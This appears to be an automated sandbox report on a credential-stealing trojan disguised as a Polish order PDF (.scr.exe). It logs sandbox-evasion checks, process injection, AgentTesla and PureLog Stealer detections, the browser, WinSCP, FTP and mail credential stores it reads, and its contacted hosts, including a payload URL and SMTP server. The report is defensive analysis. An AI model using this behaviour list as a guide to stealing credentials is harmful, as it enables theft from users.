Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99232s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -97030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -96922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -96812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -96703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -96593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe TID: 7652	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99407	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99282	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99157	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99046	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99781	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99232	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98672	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98453	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98343	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97797	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97468	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97140	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 97030	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 96922	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 96812	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 96703	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 96593	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601096365.0000000001452000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Memory written: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Process created: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe "C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 12.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2487713854.000000000325C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2487713854.0000000003231000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 7552, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.48b9370.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.468ef40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.6a80000.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.6a80000.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.48b9370.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.468ef40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1611989063.0000000006A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1603204993.000000000468E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 12.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2487713854.0000000003231000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 7552, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 12.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2487713854.000000000325C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2487713854.0000000003231000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 7552, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.48b9370.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.468ef40.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.6a80000.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.6a80000.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.48b9370.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.468ef40.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1611989063.0000000006A80000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1603204993.000000000468E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	11 Obfuscated Files or Information	1 Credentials in Registry	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	1 Software Packing	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	211 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	111 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Zam#U00f3wienie Z2300056_pdf .scr.exe	29%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX
Zam#U00f3wienie Z2300056_pdf .scr.exe	45%	Virustotal		Browse
Zam#U00f3wienie Z2300056_pdf .scr.exe	100%	Avira	DR/AVI.Agent.gfqzb
Zam#U00f3wienie Z2300056_pdf .scr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://stackoverflow.com/q/2152978/23354	0%	URL Reputation	safe
http://r3.o.lencr.org0	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://sasl116.shellrent.com	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-net	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-netJ	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-neti	0%	Avira URL Cloud	safe
http://103.186.66.98	0%	Avira URL Cloud	safe
http://103.186.66.98/ELCHAPO/Synfckpr.dat	0%	Avira URL Cloud	safe
http://r3.i.lencr.org/0-	0%	Avira URL Cloud	safe
http://smtp.creolupatoto.it	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sasl116.shellrent.com	185.169.24.118	true	false	unknown
api.ipify.org	172.67.74.152	true	false	unknown
smtp.creolupatoto.it	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown
http://103.186.66.98/ELCHAPO/Synfckpr.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
